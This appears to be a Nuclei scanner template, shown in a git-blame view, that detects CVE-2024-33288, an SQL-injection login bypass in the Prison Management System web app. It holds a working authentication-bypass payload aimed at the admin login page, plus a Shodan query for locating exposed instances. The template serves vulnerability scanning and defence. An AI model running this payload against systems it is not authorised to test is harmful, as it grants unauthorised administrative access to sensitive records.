2024-05-16 08:56:24 +00:00
|
|
|
id: CVE-2024-33288
|
2024-05-17 09:16:10 +00:00
|
|
|
|
2024-05-16 08:56:24 +00:00
|
|
|
info:
|
|
|
|
name: Prison Management System - SQL Injection Authentication Bypass
|
|
|
|
author: Kazgangap
|
|
|
|
severity: high
|
2024-05-17 09:16:10 +00:00
|
|
|
description: |
|
|
|
|
Sql injection vulnerability was found on the login page in Prison Management System
|
2024-05-16 08:56:24 +00:00
|
|
|
reference:
|
|
|
|
- https://en.0day.today/exploit/39610
|
|
|
|
- https://www.sourcecodester.com/sql/17287/prison-management-system.html
|
2024-05-17 09:20:04 +00:00
|
|
|
metadata:
|
|
|
|
verified: true
|
|
|
|
max-request: 2
|
|
|
|
shodan-query: title:"Prison Management System"
|
2024-05-17 09:16:10 +00:00
|
|
|
tags: cve,cve2024,cms,sqli
|
2024-05-16 08:56:24 +00:00
|
|
|
|
|
|
|
http:
|
|
|
|
- raw:
|
|
|
|
- |
|
2024-05-16 09:02:21 +00:00
|
|
|
POST /Admin/login.php HTTP/1.1
|
2024-05-16 08:56:24 +00:00
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
|
2024-05-17 09:16:10 +00:00
|
|
|
txtusername=admin%27+or+%271%27+%3D%271&txtpassword={{randstr}}&btnlogin=
|
2024-05-16 08:56:24 +00:00
|
|
|
|
|
|
|
- |
|
2024-05-16 09:02:21 +00:00
|
|
|
GET /Admin/index.php HTTP/1.1
|
2024-05-16 08:56:24 +00:00
|
|
|
Host: {{Hostname}}
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
words:
|
|
|
|
- "<p>Change Password</p>"
|
|
|
|
- "<p>Logout</p>"
|
2024-05-17 09:20:04 +00:00
|
|
|
- "Admin Dashboard | Prison Management system"
|
|
|
|
condition: and
|
2024-05-16 08:56:24 +00:00
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
2024-05-17 09:16:10 +00:00
|
|
|
- 200
|